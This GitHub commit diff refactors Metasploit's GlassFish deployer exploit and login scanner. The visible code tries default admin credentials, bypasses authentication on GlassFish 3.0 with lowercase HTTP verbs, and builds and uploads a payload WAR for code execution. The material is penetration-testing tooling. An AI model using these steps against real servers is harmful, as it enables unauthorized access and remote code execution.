Skip to content

Commit 8e4fa80

Browse files
committed
This looks good so far
1 parent 380af29 commit 8e4fa80

File tree

2 files changed

+41
-30
lines changed

2 files changed

+41
-30
lines changed

lib/metasploit/framework/login_scanner/glassfish.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ class Glassfish < HTTP
1414

1515
# @!attribute [r] version
1616
# @return [String] Glassfish version
17-
attr_reader :version
17+
attr_accessor :version
1818

1919
# @!attribute jsession
2020
# @return [String] Cookie session

modules/exploits/multi/http/glassfish_deployer.rb

Lines changed: 40 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ def send_glassfish_request(path, method, session='', data=nil, ctype=nil)
8686
def auto_target(session, res, version)
8787
print_status("Attempting to automatically select a target...")
8888

89-
res = query_serverinfo(session,version)
89+
res = query_serverinfo(session, version)
9090
return nil unless res
9191
return nil unless res.body
9292

@@ -601,7 +601,7 @@ def upload_exec(opts = {})
601601
print_status("Error: #{rhost} did not respond on #{app_rport}.")
602602
end
603603

604-
#Sleep for a bit before cleanup
604+
# Sleep for a bit before cleanup
605605
select(nil, nil, nil, 5)
606606

607607
#Start undeploying
@@ -619,10 +619,8 @@ def upload_exec(opts = {})
619619
print_status("Undeployment complete.")
620620
end
621621

622-
def init_loginscanner(creds)
623-
@cred_collection = Metasploit::Framework::CredentialCollection.new(
624-
userpass_file: creds * "\n"
625-
)
622+
def init_loginscanner
623+
@cred_collection = Metasploit::Framework::CredentialCollection.new
626624

627625
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
628626
configure_http_login_scanner(
@@ -654,30 +652,44 @@ def try_glassfish_auth_bypass(version)
654652
end
655653

656654
def my_target_host
657-
path = normalize_uri(datastore['PATH'])
658-
my_target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
655+
my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(datastore['PATH'])}"
659656
end
660657

661658
def try_normal_login(version)
659+
init_loginscanner
660+
662661
case version
663662
when /2\.x|9\.x/
664-
creds = ['admin adminadmin']
663+
@cred_collection.prepend_cred(
664+
Metasploit::Framework::Credential.new(
665+
public: 'admin',
666+
private: 'adminadmin',
667+
private_type: :password
668+
))
665669
when /^3\./
666-
creds = ['admin']
667-
else
668-
creds = []
670+
@cred_collection.prepend_cred(
671+
Metasploit::Framework::Credential.new(
672+
public: 'admin',
673+
private: '',
674+
private_type: :password
675+
))
669676
end
670677

671-
creds << "#{datastore['USERNAME']} #{datastore['PASSWORD']}"
672-
673-
init_loginscanner(creds)
678+
@cred_collection.prepend_cred(
679+
Metasploit::Framework::Credential.new(
680+
public: datastore['USERNAME'],
681+
private: datastore['PASSWORD'],
682+
private_type: :password
683+
))
674684

685+
@scanner.send_request({'uri'=>'/'})
675686
@scanner.version = version
676687
@cred_collection.each do |raw|
677688
cred = raw.to_credential
689+
print_status("Trying to login as #{cred.public}:#{cred.private}")
678690
result = @scanner.attempt_login(cred)
679-
if result == Metasploit::Model::Login::Status::SUCCESSFUL
680-
return @scanner.:jsession
691+
if result.status == Metasploit::Model::Login::Status::SUCCESSFUL
692+
return @scanner.jsession
681693
end
682694
end
683695

@@ -692,24 +704,20 @@ def attempt_login(version)
692704
return sid if sid
693705
end
694706

695-
try_normal_login(version, user, pass, 'non-default')
707+
try_normal_login(version)
696708
end
697709

698-
def make_war
699-
my_target = auto_target(sid, res, version) if target.name =~ /Automatic/
700-
fail_with(Failure::NoTarget, "Unable to automatically select a target") unless mytarget
701-
702-
# Generate payload
703-
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
710+
def make_war(selected_target)
711+
p = exploit_regenerate_payload(selected_target.platform, selected_target.arch)
704712

705713
jsp_name = rand_text_alphanumeric(4+rand(32-4))
706714
app_base = rand_text_alphanumeric(4+rand(32-4))
707715

708716
war = p.encoded_war({
709717
:app_name => app_base,
710718
:jsp_name => jsp_name,
711-
:arch => mytarget.arch,
712-
:platform => mytarget.platform
719+
:arch => selected_target.arch,
720+
:platform => selected_target.platform
713721
}).to_s
714722

715723
return app_base, jsp_name, war
@@ -729,8 +737,8 @@ def exploit
729737

730738
# Set HTTP verbs. Lower-case is used to bypass auth on v3.0
731739
@verbs = {
732-
'GET' => (version == '3.0' || version == '2.x' || version || '9.x') ? "get" : 'GET',
733-
'POST' => (version == '3.0' || version == '2.x' || version || '9.x') ? 'post' : 'POST',
740+
'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET',
741+
'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST',
734742
}
735743

736744
sid = attempt_login(version)
@@ -739,7 +747,10 @@ def exploit
739747
fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate login")
740748
end
741749

742-
app_base, jsp_name, war = make_war
750+
selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target
751+
fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target
752+
753+
app_base, jsp_name, war = make_war(selected_target)
743754
print_status("Uploading payload...")
744755
res = upload_exec({
745756
:session => sid,

0 commit comments

Comments
 (0)